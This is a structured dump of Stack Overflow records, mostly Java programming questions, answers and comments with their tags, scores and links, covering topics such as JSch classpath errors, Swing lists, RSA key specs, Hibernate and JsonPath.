has body: Good Morning, I have a problem when I try to execute my .jar. My program read some file from distant server by JSch. C:\Documents and Settings\julie\Bureau&gt;java -jar myFile.jar Exception in thread "main" java.lang.NoClassDefFoundError: com/jcraft/jsch/SftpE xception at java.lang.Class.getDeclaredMethods0(Native Method) at java.lang.Class.privateGetDeclaredMethods(Unknown Source) at java.lang.Class.getMethod0(Unknown Source) at java.lang.Class.getMethod(Unknown Source) at sun.launcher.LauncherHelper.getMainMethod(Unknown Source) at sun.launcher.LauncherHelper.checkAndLoadMain(Unknown Source) Caused by: java.lang.ClassNotFoundException: com.jcraft.jsch.SftpException at java.net.URLClassLoader$1.run(Unknown Source) at java.net.URLClassLoader$1.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) ... 6 more
has answer: http://stackoverflow.com/a/22226690
accepted answer: http://stackoverflow.com/a/22226690
type: AnsweredQuestion
tagged with: java
type: Question
has title: How can i solved execute .jar?
answer count: 1
tagged with: jsch
favorite count: 0
downvote count: 3

http://stackoverflow.com/a/22243483
answers question: http://stackoverflow.com/q/22243291
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22243291
has comment: http://stackoverflow.com/comment/33780477
type: AcceptedAnswer
downvote count: 0
score: 1
type: Answer
has body: There aren't any Java classes available for this specific scenario, and I doubt they'll ever add classes for these types of specific use cases. You can however create a LoginResponse class and return this class: Class LoginResponse { private boolean success; private String message; public void setSuccessful(){ ... }; public void setUnsuccessful(){...}; public void setMessage(String msg){ ... } public String getMessage(){ ... } } Or you can just create a class with public attributes and remove the need for the methods: Class LoginResponse { public boolean success; public String message; } If you have a fixed set of scenarios, you can create a Java Enum: public enum LoginResponse { WRONG_PASSWORD("Wrong Password", false), WRONG_USERNAME("Wrong Username", false), SUCCESS("Successfully logged in.", true); private String message; private boolean success; private LoginResponse(String message, boolean success) { this.message = message ; this.success = success; } public String toString() { return this.success + ": " + this.message; } }

http://stackoverflow.com/comment/33891154
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22269413
has text: @aliteralmind another update to blog required: the requirement for spaces in dictionary words has been removed by a simple pre-spacing step in the output. It also makes the final message better (no spaces there). see updated code
type: AnswerComment

http://stackoverflow.com/comment/33825622
type: Comment
comment on: http://stackoverflow.com/a/22255739
has text: The problem is that in JasperReports, you can not run a batch of commands in the text field expressions, you can execute only a single command that returns an object of the specified class of the text field.
type: AnswerComment
score: 0

http://stackoverflow.com/a/26391983
downvote count: 1
upvote count: 5
type: Answer
has body: 2 steps: Obtain a JSON with a long CID url by expanding the short URL: https://developers.google.com/url-shortener/v1/getting_started#expand Retrieve information with the given URL: &lt;longURL&gt;&amp;output=json Then, in the final JSON, you've got a viewport section with a center lat&amp;lon location
has comment: http://stackoverflow.com/comment/112896147
score: 4
answers question: http://stackoverflow.com/q/22272394
has comment: http://stackoverflow.com/comment/44128432

http://stackoverflow.com/a/22227196
upvote count: 1
answers question: http://stackoverflow.com/q/22226660
downvote count: 1
has body: ResourceBundle allows to retrieve textual data for a key, returning a result based on a specified locale. I'm not aware of an exact match for this in C++, but I would like to recommend using GNU gettext() as an option for implementing a similar type of internationalization support.
score: 0
type: Answer

http://stackoverflow.com/q/22258935
upvote count: 1
has answer: http://stackoverflow.com/a/22259080
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/22259066
tagged with: jlist
has body: I am creating a JList with a JTextField and 2 JButtons (Add/Delete). Once I hit the delete button it deletes but comes back once I input another item into the List. I do not know if I messed up, but here is the code: import java.awt.BorderLayout; import java.awt.EventQueue; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.border.EmptyBorder; import javax.swing.DefaultListModel; import javax.swing.JTextField; import javax.swing.JButton; import javax.swing.JList; import javax.swing.border.LineBorder; import java.awt.Color; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.ArrayList; public class i extends JFrame { private JPanel contentPane; private JTextField jTextField; private DefaultListModel ListModel = new DefaultListModel(); private ArrayList&lt;String&gt; ListArray = new ArrayList &lt;String&gt;(); /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { i frame = new i(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the frame. */ public i() { setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 450, 300); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); jTextField = new JTextField(); jTextField.setBounds(15, 80, 168, 20); contentPane.add(jTextField); jTextField.setColumns(10); JButton jButton = new JButton("Add"); jButton.setBounds(193, 79, 89, 23); contentPane.add(jButton); jButton.addActionListener(new ActionListener(){ public void actionPerformed(ActionEvent e) { if(!jTextField.getText().equals("")){ ListModel.clear(); ListArray.add(jTextField.getText()); jTextField.setText(""); for (int i=0; i&lt;ListArray.size(); i++){ ListModel.add(i, ListArray.get(i)); } } } }); final JList jList = new JList(ListModel); jList.setBorder(new LineBorder(new Color(0, 0, 0))); jLis…
has title: JList items come back after deletion?
type: UnansweredQuestion
tagged with: swing
type: Question
score: 1
tagged with: java
answer count: 2

http://stackoverflow.com/a/22182949
type: Answer
downvote count: 0
has body: public static void main(String[]args){ boolean employed = false; System.out.println("Are you presently employed?"); String response = new Scanner(System.in).nextLine(); if(response.length()&gt;=1 &amp;&amp; "Yy".contains(response.charAt(0)){ employed = true; } }
score: 1
answers question: http://stackoverflow.com/q/22182877
upvote count: 1

http://stackoverflow.com/a/43768341
score: 0
has body: To validate and re-ask for user input, you need to ask for the input in a while loop and not leave the loop till the input is valid. So immediately after asking for the first input, you can do something like System.out.println("Enter a starting destination: "); int choice1 = user_input.nextInt(); while(choice1 &lt; 1 || choice1 &gt; 5) { System.out.println("Invalid Input"); if(user_input.hasNextInt()) choice1 = user_input.nextInt(); else user_input.next(); } System.out.println("Enter a final desination: "); int choice2 = user_input.nextInt(); while(choice2 &lt; 1 || choice2 &gt; 5 || choice2 == choice1) { System.out.println("Invalid Input"); if(user_input.hasNextInt()) choice2 = user_input.nextInt(); else user_input.next(); } This way also avoids throwing needless errors that are used only to control program flow (can be very very difficult to read)
type: Answer
answers question: http://stackoverflow.com/q/22210232

http://stackoverflow.com/comment/33912476
comment on: http://stackoverflow.com/q/22316772
has text: when the server is running, should i see the port 8080 open in port scan?! Because i dont..The firewall is off on my computer and i opened the 8080 on my router.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33672434
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22183672
score: 0
has text: If `b` is already `false` in the first example it won't continue past `&&`.

http://stackoverflow.com/q/22196386
accepted answer: http://stackoverflow.com/a/22203026
tagged with: bouncycastle
has comment: http://stackoverflow.com/comment/33706375
type: Question
type: AnsweredQuestion
tagged with: java
tagged with: rsa
has body: I'm trying to instantiate a java.security.PublicKey by using java.security.spec.RSAPublicKeySpec and java.security.KeyFactory. But when running the following lines: RSAPublicKeySpec publicKeySpec = new RSAPublicKeySpec(modulus, publicExponent); return KeyFactory.getInstance("RSA").generatePublic(publicKeySpec); I always get an exception from org.bouncycastle package. java.security.spec.InvalidKeySpecException: key spec not recognised at org.bouncycastle.jcajce.provider.asymmetric.util.BaseKeyFactorySpi.engineGeneratePublic(Unknown Source) at org.bouncycastle.jcajce.provider.asymmetric.rsa.KeyFactorySpi.engineGeneratePublic(Unknown Source) at java.security.KeyFactory.generatePublic(KeyFactory.java:315) ... (25 more) This confuses me since the RSAPublicKeySpec should have any relation to Bouncy Castle crypto library? Can somebody please tell me whats wrong with my code?
has answer: http://stackoverflow.com/a/22203026
has comment: http://stackoverflow.com/comment/33706340
has title: InvalidKeySpecException when using RSAPublicKeySpec
answer count: 1
tagged with: security
score: 0
tagged with: public-key

http://stackoverflow.com/a/22242607
score: 3
has comment: http://stackoverflow.com/comment/33807578
type: AcceptedAnswer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/22242584
has comment: http://stackoverflow.com/comment/33795087
type: Answer
answers question: http://stackoverflow.com/q/22242584
has comment: http://stackoverflow.com/comment/33819625
downvote count: 0
has body: So, what does t.join(2000) mean? As per documentation- Thread.html#join(long). Waits at most millis milliseconds for this thread to die. A timeout of 0 means to wait forever. And Does it mean that the current thread would wait for a maximum of 2 seconds before killing thread t and wouldn't wait for thread t to terminate by itself? It will wait for die but it will not kill the threa for which it is waiting for.

http://stackoverflow.com/q/22219562
accepted answer: http://stackoverflow.com/a/22219939
tagged with: android
downvote count: 2
has comment: http://stackoverflow.com/comment/33737060
has comment: http://stackoverflow.com/comment/33736853
type: AnsweredQuestion
has title: how to redirect from Normal java class to other java class which extends activity in android?
has answer: http://stackoverflow.com/a/22219939
has comment: http://stackoverflow.com/comment/33736902
score: 1
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33736564
upvote count: 3
has body: how to redirect from Normal java class to other java class which extends activity in android with putting some data.
answer count: 1
has comment: http://stackoverflow.com/comment/33736515
favorite count: 0

http://stackoverflow.com/comment/33700063
score: 0
type: Comment
type: QuestionComment
has text: no, it means for example google.com is reachable or not
comment on: http://stackoverflow.com/q/22199556

http://stackoverflow.com/a/22284456
type: Answer
score: 0
answers question: http://stackoverflow.com/q/22284339
has body: Try and use: Arrays.copyOfRange(args, 1, args.length) instead. This is much more simple and will use System.arrayCopy() internally anyway.
accepted answer of: http://stackoverflow.com/q/22284339
type: AcceptedAnswer

http://stackoverflow.com/a/22190819
type: Answer
accepted answer of: http://stackoverflow.com/q/22190719
answers question: http://stackoverflow.com/q/22190719
has body: You are specifying key size as 2048 bits. modify it as per your needs. change this line kpg.initialize(2048); to whatever length you want your key to be(whatever length your database supports) kpg.initialize(length_of_key); Please check the documentation of the initialize method below : http://docs.oracle.com/javase/7/docs/api/java/security/KeyPairGenerator.html#initialize(int)
downvote count: 1
score: -1
upvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33693014

http://stackoverflow.com/comment/33892514
comment on: http://stackoverflow.com/a/22304915
type: Comment
type: AnswerComment
has text: This has been helpful though, Ill upvote you because it did help with clarity but filling the array isnt really the issue, its filling it with the right data.. i.e. for each data block a corresponding int[][] arr is made. i just joined to ask this question and it says that i cant upvote you because i dont have 15 reputation..
score: 0

http://stackoverflow.com/q/22215910
has comment: http://stackoverflow.com/comment/33730229
has body: I am creating a windows application, I need to create an installer for that for that I used Launch4J software. It is throwing me an error java.lang.UnsatisfiedLinkError: C:\Program Files\Java\jdk1.7.0_09\jre\bin\jmtp.dll: Can't load IA 32-bit .dll on a AMD 64-bit platform while running it. I did not find in google a 64 bit jmtp.jar and jmtp.dll file. Please help me to sort out it.
has comment: http://stackoverflow.com/comment/33730210
tagged with: launch4j
type: UnansweredQuestion
has title: java.lang.UnsatisfiedLinkError: C:\Program Files\Java\jdk1.7.0_09\jre\bin\jmtp.dll: Can't load IA 32-bit .dll on a AMD 64-bit platform
tagged with: java
tagged with: unsatisfiedlinkerror
type: Question
has comment: http://stackoverflow.com/comment/33730359
answer count: 2
tagged with: dll
has answer: http://stackoverflow.com/a/22215989
score: 0
has answer: http://stackoverflow.com/a/41182783

http://stackoverflow.com/comment/33769209
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22237264
type: QuestionComment
has text: @ZouZou So, `(int)` is required?

http://stackoverflow.com/a/22263255
upvote count: 1
has body: You can use standard String functions. String resultStr = sampleStr.substring(0, sampleStr.indexOf("sample") + 6); Take the substring from position 0 (the start) until the position of "sample", but add another 6 characters so you also include "sample" and the preceeding space.
score: 1
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22263223

http://stackoverflow.com/a/22248750
upvote count: 5
score: 5
type: AcceptedAnswer
downvote count: 0
has body: SSS in SimpleDateFormat means the number of milliseconds, not fractional second, that is for SimpleDateFormat 663 > 77. But Timestamp.toString formats timestamp in yyyy-mm-dd hh:mm:ss.fffffffff format, where fffffffff is fractional second. Usejava.sql.Timestamp.valueOf(str) for parsing what Timestamp.toString produces
type: Answer
accepted answer of: http://stackoverflow.com/q/22248634
answers question: http://stackoverflow.com/q/22248634

http://stackoverflow.com/q/22255666
has title: Property not found hibernate
has comment: http://stackoverflow.com/comment/33802404
has body: Iam new to hibernate , While i was trying to do a simple work like fetch data from database and display it. DummyController.java @ManagedBean @SessionScoped public class DummyController { TestHelper helper; DataModel model; /** * Creates a new instance of DummyController */ public DummyController() { helper = new TestHelper(); } public DataModel getDummys() { if(model == null) { model = new ListDataModel(helper.getNames()); } return model; } } Dummy.java @Entity @Table(name = "dummy") public class Dummy implements java.io.Serializable { private Short id; private String name; public Dummy() { } public Dummy(String name) { this.name = name; } /** * get the id from dummy * @return */ @Id @GeneratedValue(generator = "identity") @GenericGenerator(name = "identity", strategy = "identity") @Column(name = "ID") @Transient public Short getId() { return this.id; } public void setId(Short id) { this.id = id; } @Column(name = "Name", length = 500) public String getName() { return this.name; } public void setName(String name) { this.name = name; } } The problem is below &lt;h:dataTable value="#{dummyController.dummys}" var="dummydata" border="0" cellpadding="2" cellspacing="0" rowClasses="jsfcrud_odd_row,jsfcrud_even_row" style="border:solid 1px"&gt; &lt;h:column&gt; &lt;f:facet name="header"&gt;ID&lt;/f:facet&gt; &lt;h:outputText value="#{dummydata.Id}"/&gt; &lt;/h:column&gt; &lt;h:column&gt; &lt;f:facet name="header"&gt; &lt;h:outputText value="Names"/&gt; &lt;h:outputText value="#{dummydata.Name}"/&gt; &lt;/f:facet&gt; &lt;/h:column&gt; &lt;/h:dataTable&gt; Here iam unablkle to access dummydata.Name and dummydata.Id its not showing in suggestions and throwing property not found if i run.
has comment: http://stackoverflow.com/comment/33802462
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33802238
has comment: http://stackoverflow.com/comment/33802326
tagged with: java
tagged with: hibernate
type: Question
has comment: http://stackoverflow.com/comment/33802950
score: 0

http://stackoverflow.com/comment/33736768
type: Comment
has text: Do you necessarily need two panels? You could add all the labels and textfields to one single panel with DesignGridLayout. In that way I believe you can see the proper alignment.
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22219544

http://stackoverflow.com/a/22263861
has body: you shoud try indented properly . you can try to change {if(player==0) player=1; else player=0; } {if(player==0) System.out.println("Computer: 'I give up! You win!"); else System.out.println("Computer: '...You are pathetic...'"); }} `enter code here` with : if(player==0) player=1; else player=0; if(player==0) System.out.println("Computer: 'I give up! You win!"); else System.out.println("Computer: '...You are pathetic...'"); } }
downvote count: 1
answers question: http://stackoverflow.com/q/22263809
has comment: http://stackoverflow.com/comment/33817701
score: -1
type: Answer
upvote count: 0

http://stackoverflow.com/comment/33713455
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22206652
has text: I guess both are same

http://stackoverflow.com/a/22325156
score: 0
has body: The WSDL would generally be bundled in your application. For a container-managed web service client in a WAR you might: place the WSDL and and dependent schemas under WEB-INF add a service-ref element to the web.xml load the client code using a JNDI InitialContext and the service-ref-name There are some examples in this IBM jax-ws documentation. On current Java EE versions you might make more use of annotations. It depends on the platform you're targeting and what versions of the web service APIs it supports. I would start with the Java EE tutorial.
type: Answer
answers question: http://stackoverflow.com/q/22322125
accepted answer of: http://stackoverflow.com/q/22322125
type: AcceptedAnswer

http://stackoverflow.com/comment/33855182
score: 0
type: Comment
type: QuestionComment
has text: @SotiriosDelimanolis and AdamArold I think you are both right.
comment on: http://stackoverflow.com/q/22284854

http://stackoverflow.com/a/22269753
has comment: http://stackoverflow.com/comment/33840452
answers question: http://stackoverflow.com/q/22269668
score: 0
has comment: http://stackoverflow.com/comment/33882069
type: Answer
has body: Those unreadable characters are just ascii values that don't have a visual meaning so to speak. Have a look at http://www.asciitable.com/. You could use the ascii values above 128 and below 255 and they will appear as those symbols denoted in that website. Although if you said what exactly it is that you are trying to create, then maybe we could help you better.

http://stackoverflow.com/q/22192807
possible better answer: http://stackoverflow.com/a/22193790
upvote count: 1
has body: I'm trying to move list elements to the stack and back to the list again, reversing their order. I'm having trouble with the last bit of transferring the stack back into the list. I've been using the stack.pop(); in different ways but nothing seems to work. I'm able to just print out the output of stack.pop so far, but I really want to be able to transfer the stack contents back into the list. public class ReverseArray { public static void main(String[] args) throws EmptyStackException { // TODO Auto-generated method stub MyLinkedList&lt;GameEntry&gt;myList = new MyLinkedList&lt;&gt;(); //populate the list myList.addFirst(new Node&lt;GameEntry&gt;(new GameEntry("Marche", 313), null)); myList.addFirst(new Node&lt;GameEntry&gt;(new GameEntry("Apricot", 754), null)); myList.addFirst(new Node&lt;GameEntry&gt;(new GameEntry("Dragon", 284), null)); myList.addFirst(new Node&lt;GameEntry&gt;(new GameEntry("Erasure", 653), null)); //print the list System.out.println(myList); System.out.println(); System.out.println("New Reversed List:"); //reverse the list elements reverse(myList); } public static &lt;V&gt; void reverse ( MyLinkedList&lt;V&gt; list) throws EmptyStackException{ //code to reverse goes here NodeStack&lt;GameEntry&gt; stack = new NodeStack&lt;GameEntry&gt;(); Node&lt;GameEntry&gt; scores = list.getHead(); for ( int i = 0; i &lt; list.getSize(); i++){ stack.push(scores.getElement()); scores = scores.getNext(); } while(!stack.isEmpty()){ System.out.print(stack.pop() + " "); } }// end reverse }//end main
type: AnsweredQuestion
score: 1
tagged with: stack
tagged with: java
has answer: http://stackoverflow.com/a/22193790
has title: Moving stack elements back to a Single linked list
type: Question
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/22193940
accepted answer: http://stackoverflow.com/a/22193940
favorite count: 0
tagged with: linked-list

http://stackoverflow.com/comment/33892471
comment on: http://stackoverflow.com/a/22303165
has text: I should have made it clearer, the output shown at '10' is simply the output from running the command at '9'. This is just to launch the Tomcat on the DIY Instance, and before connecting to the php is possible. The port 15009 was selected from the youtube link at '10'.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22287824
accepted answer: http://stackoverflow.com/a/22288806
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22288806
has comment: http://stackoverflow.com/comment/33860465
score: 0
has body: I'm trying to setup the android dev kit, I've installed everything and tried to setup a Hello World activity, however when I build the project I get the error: Cannot run program "C:\Program Files\Java\jdk1.7.0_45\bin\java" (in directory "C:\Users\Matt\.IntelliJIdea13\system\compile-server"): CreateProcess error=2, The system cannot find the file specified All of this is auto generated from my IDE, so I'm not sure what the problem can be, has anyone encountered this before?
answer count: 1
has title: Hello World Compile Error - Android
tagged with: android
type: AnsweredQuestion

http://stackoverflow.com/comment/33713260
type: Comment
has text: @keshlam I am not talking about algorithms but constructs in common, e.g. what about "first-class continuations"?
type: QuestionComment
comment on: http://stackoverflow.com/q/22206487
score: 0

http://stackoverflow.com/q/22214457
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22214548
has answer: http://stackoverflow.com/a/38680800
has title: Class inside a class java?
answer count: 6
tagged with: class
score: 0
has answer: http://stackoverflow.com/a/22214515
has comment: http://stackoverflow.com/comment/33727889
has comment: http://stackoverflow.com/comment/33727913
linked to: http://stackoverflow.com/q/9560600
has answer: http://stackoverflow.com/a/22214511
favorite count: 0
has answer: http://stackoverflow.com/a/22214617
tagged with: inner-classes
linked to: http://stackoverflow.com/q/70324
has body: Im doing a question that requires you to make a class customers which will later on be added into an array list in the method of another class. However I am getting an error on the line i marked ERROR, that says: "No enclosing instance of type Question3 is accessible. Must qualify the allocation with an enclosing instance of type Question3 (e.g. x.new A() where x is an instance of Question3)." And I have no clue why. public class Question3 { static ArrayList&lt;customers&gt; a= new ArrayList&lt;customers&gt;(); private static Scanner kbd; public static void main(String[] args) { String input=""; double price=1; String name=""; while(price != 0) { System.out.println("Customer Name: "); name= kbd.nextLine().trim(); System.out.println("Purchase Price: "); price= Double.parseDouble(kbd.nextLine().trim()); addSale(name,price); //ERROR } } public static void addSale(String name, double price) { customers c= new customers(name,price); a.add(c); } public class customers { String name; double price; public customers(String name, double price) { this.name=name; this.price=price; } } }
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22214832
upvote count: 1
downvote count: 1

http://stackoverflow.com/comment/33717285
has text: @Downvoter care to comment?
type: Comment
comment on: http://stackoverflow.com/a/22207505
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33786116
type: QuestionComment
type: Comment
has text: What is the URL you triedfor the API call? How do you work with the URL? I just tried a simple [test on their page](http://www.flickr.com/services/api/explore/flickr.photos.search), works. I also wrote a short program to show the most recent image with the tag 'sun' since I thought that maybe Java clients only get served with that gif - but that also works. (http://api.flickr.com/services/rest/?method=flickr.photos.search&api_key=28fe98d9cb8a4526027b1629372c8e6b&tags=sun&extras=url_n&per_page=10&page=1&format=json&nojsoncallback=1&api_sig=94c0a743e00a21af8ae60181c5863fa5) So what do you do?
score: 1
comment on: http://stackoverflow.com/q/22243980

http://stackoverflow.com/q/22236791
has answer: http://stackoverflow.com/a/22236819
has answer: http://stackoverflow.com/a/22236846
type: Question
has comment: http://stackoverflow.com/comment/33768028
has comment: http://stackoverflow.com/comment/33768169
has comment: http://stackoverflow.com/comment/33768300
score: 3
has comment: http://stackoverflow.com/comment/33768074
has answer: http://stackoverflow.com/a/22236835
tagged with: eclipse
has title: Cannot invoke toString() on the primitive type double
downvote count: 0
answer count: 7
has body: textdisplay.setText(total.toString()); When i am trying to revoke String. It gives me error like "Cannot invoke tostring() on the primitive type double". I read similar thread and tried everything but nothing works. Strange part is that this same code works for my friend. Please help. public void showsign(String sign){ if(last_button==R.id.plus || last_button==R.id.minus || last_button==R.id.multiply || last_button==R.id.divide){ } else{ clear_flag = 1; Double newNumber = Double.parseDouble(textdisplay.getText().toString()); if(sign_flag == "" || sign_flag == "="){ total = newNumber; textdisplay.setText(total.toString()); } else if(sign_flag == "+"){ total = total+newNumber; textdisplay.setText(total.toString()); } else if(sign_flag == "-"){ total = total-newNumber; textdisplay.setText(total.tostring()); } else if(sign_flag == "*"){ total = total*newNumber; textdisplay.setText(total.tostring()); } else if(sign_flag == "/"){ total = total/newNumber; textdisplay.setText(total.tostring()); } } }
has answer: http://stackoverflow.com/a/22236812
favorite count: 0
has answer: http://stackoverflow.com/a/22236912
linked to: http://stackoverflow.com/q/513832
tagged with: android
has answer: http://stackoverflow.com/a/22241226
has answer: http://stackoverflow.com/a/22237024
has comment: http://stackoverflow.com/comment/33768052
upvote count: 3
type: UnansweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33768104

http://stackoverflow.com/q/22306010
upvote count: 1
has comment: http://stackoverflow.com/comment/33896237
type: Question
tagged with: http://stackoverflow.com/tag/json
tagged with: jsonpath
has answer: http://stackoverflow.com/a/22306320
has comment: http://stackoverflow.com/comment/33896722
has body: I have a JSON String like the following: json = "{\"Things\": \n" + " {\"Thing\": {\n" + " \"ID\":\"123\",\n" + " \"name\":\"Yet Another Thing\",\n" + " \"price\":\"$12.99\",\n" }\n" + " }\n" + "}"; Is there a way I can assert that the ID of Thing is 123 AND that it's name is "Yet Another Thing" in the same statement/assert? At the moment, I seem to fail using filters: JsonPath.read(json, "$.Things.Thing[?(@.ID == '123')].name") I get the following exception: java.lang.IllegalArgumentException: Invalid container object Is that maybe because thereis no array notation [] in the JSON string above? Should there be? On a related note, is there a good introduction to using Hamcrest (with JSON assert)? I know the official tutorial, but I always seem to get it wrong... UPDATE: The rational for this was: what if I get several Thing elements back, about whose order I have no guarantee (so I can't match Thing[1] (unless I looped through them all))? How do I make sure one element has both, the right ID and the right name? If I check for the children separately, don't I run the risk that one Thing has the right name and another the right ID, but none has both? (Would that be possible with that JSON format, or would I have to an array in that case anyway, like "Thing": [ { ... }, { ... } ], ... ? P.S.: I tried to use the JsonPath above as follows in the end: assertEquals("Yet Another Thing", JsonPath.read(json, "$.Things.Thing[?(@.ID == '123')].name")); So that's where the exception might have come from, too. Also, I initially asked this question on the JsonPath mailing list, but didn't get any replies so far, so was hoping I might get help here quicker... :)
answer count: 1
downvote count: 0
score: 1
has title: How to assert a JSON node has child nodes with certain values assigned to them?
has comment: http://stackoverflow.com/comment/33892997
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33893145
tagged with: java

http://stackoverflow.com/q/22292202
score: 2
type: AnsweredQuestion
tagged with: java
tagged with: mapreduce
type: Question
tagged with: hadoop
downvote count: 0
has answer: http://stackoverflow.com/a/22294469
answer count: 1
accepted answer: http://stackoverflow.com/a/22294469
favorite count: 0
has body: I am writing a map reduce application scala. Till map function everything works fine. But while writing the reducer I am facing problem. override def reduce(key: Text, values: java.lang.Iterable[Text], context: ReducerContext) { } The ReducerContext is defined such that is refers to the context inner class, so I am fine here. The issue is with the Iterable (Java) component.I am not able to iterate through it. I understand that first I have convert it into a scala Iterable and then iterate over it, I also did that but still didnt get get result. I have tried both scala.collection.JavaConverters._ and JavaConversions._ here are few scanarios that didnt work out val jit: java.util.Iterator[Text]= values.iterator() val abc = JavaConversions.asScalaIterator(jit) /// val abc=jit.asScala println("size "+ abc.size)// it displays proper size for(temp &lt;- abc){ ///it dosent come inside this loop } Similarly I have tried converting this Iterator into list/array but all in vain. Once i convert it into list/arrray(toList/tiArray) the size of the resulting list/array becomes 0. no matter what I do m not able to iterate thorough I appreciate any help on this. Thanks
upvote count: 2
tagged with: scala
has title: how to write hadoop map reduce programs in scala

http://stackoverflow.com/q/22307256
type: Question
score: 14
has title: what's the difference between bitwise shift with 2 arrows and 3 arrows?
tagged with: bit-shift
tagged with: java
has comment: http://stackoverflow.com/comment/33895250
has comment: http://stackoverflow.com/comment/33895192
answer count: 2
linked to: http://stackoverflow.com/q/141525
accepted answer: http://stackoverflow.com/a/22307438
has body: I've seen &gt;&gt; and &gt;&gt;&gt; before. What is the difference and when to use each?
downvote count: 0
tagged with: javascript
favorite count: 0
duplicate of: http://stackoverflow.com/q/1822350
has answer: http://stackoverflow.com/a/22307602
linked to: http://stackoverflow.com/q/1822350
possible better answer: http://stackoverflow.com/a/22307602
type: AnsweredQuestion
upvote count: 14
tagged with: bit-manipulation
has answer: http://stackoverflow.com/a/22307438
duplicate of: http://stackoverflow.com/q/141525

http://stackoverflow.com/q/22230998
favorite count: 0
has answer: http://stackoverflow.com/a/22231403
has title: Why is String.Format("%1s","") not returning "" but " "?
possible better answer: http://stackoverflow.com/a/22231228
has comment: http://stackoverflow.com/comment/33756668
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33756809
accepted answer: http://stackoverflow.com/a/22231035
downvote count: 0
score: 6
has body: String.format("%1s","").equals("")); // --&gt; return false ! String.format("%1s","").equals(" ")); // --&gt; return true ! Why is this happening ? Where does the space come from ?
type: Question
has answer: http://stackoverflow.com/a/22231035
has answer: http://stackoverflow.com/a/22231228
tagged with: java
upvote count: 6
answer count: 3
tagged with: string

http://stackoverflow.com/a/37054856
score: 42
upvote count: 42
answers question: http://stackoverflow.com/q/22255513
has body: In my case it works on development mode however crashes on release mode (export signed apk). To fix that please adding this line to proguard-rules.txt -keep class android.support.v7.widget.SearchView { *; }
type: Answer
downvote count: 0

documentum
tags question: http://stackoverflow.com/q/22252909
type: Tag
tag name: documentum

http://stackoverflow.com/a/22225880
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22225392
has body: the problem may cause in 2 situations: the string contains other char that they not digits you have more than one space between the numbers and therefore you get more then 5 cell in the split array (those cells contain the empty string "") so.. add this line before you split command: exp = exp.trim().replaceAll(" +", " "); this will fix the problem! and try&amp;catch are also recommended this is the full code: public static void main(String [] args){ Scanner scan = new Scanner(System.in); System.out.println("Input Exercises "); String exp = scan.nextLine(); exp = exp.trim().replaceAll(" +", " "); String [] part2 = exp.split(" "); int ex1 = Integer.parseInt(part2[0]), ex2 = Integer.parseInt(part2[1]), ex3 = Integer.parseInt(part2[2]), ex4 = Integer.parseInt(part2[3]), ex5 = Integer.parseInt(part2[4]); }

http://stackoverflow.com/comment/33978558
score: 0
type: Comment
has text: This code creates a step if there is no pre-existing step at the specified StepIndex, and updates the existing step with new values if a step already exists at specified StepIndex. The same code just updated two steps with StepIndex 1 and 2 with new Input values
comment on: http://stackoverflow.com/a/22336082
type: AnswerComment

http://stackoverflow.com/q/22194003
answer count: 1
has body: I've got a problem with SWT Table and the JFace TableViewer. I need to know on which column a right-click was performed. Unfortunally, the TableColumn and TableViewerColumn do not recognize a right-click event. So I found this "hack" to check where the mouse click was performed on the screen, get the y-Coordinate and add the width of each table column as long at the value is smaller than the y-Coordinate. If the y-Coordinate is in between the added widths, the last column added is the right clicked one. See below. int width = 0; // the start point. 0 only works if not scrolled final TableColumn[] sorted = new TableColumn[table.getColumns().length]; final int[] order = table.getColumnOrder(); int ctn = 0; for( final int i : order ) { sorted[ctn] = table.getColumn( i ); ctn++; } for( int i = 0; i &lt; table.getColumns().length; i++ ) { final TableColumn tc = sorted[i]; if( (width &lt; point.x) &amp;&amp; (point.x &lt; (width + tc.getWidth())) ) { rightClickedColumn = tc; // the colums is in the range, so this is the one clicked on } width += tc.getWidth(); // add the width of this columns so we can check the next one } This works fine, as long as the composite holding the TableViewer is not scrolled. When it is scrolled, the start value of 0 is not correct anymore, it has to be the difference between the original 0 and the first pixel which is visible from the table. So if 100px of the table are not visible, I want to get this 100px. How can I get the position of the first visible pixel in a scrolled composite? Hope you understand what I mean Edit: I need to get notified when a table column header was right-clicked
has comment: http://stackoverflow.com/comment/33694192
tagged with: eclipse-rcp
score: 0
accepted answer: http://stackoverflow.com/a/22197297
tagged with: swt
tagged with: jface
type: AnsweredQuestion
tagged with: pixel
tagged with: java
has answer: http://stackoverflow.com/a/22197297
has comment: http://stackoverflow.com/comment/33692749
type: Question
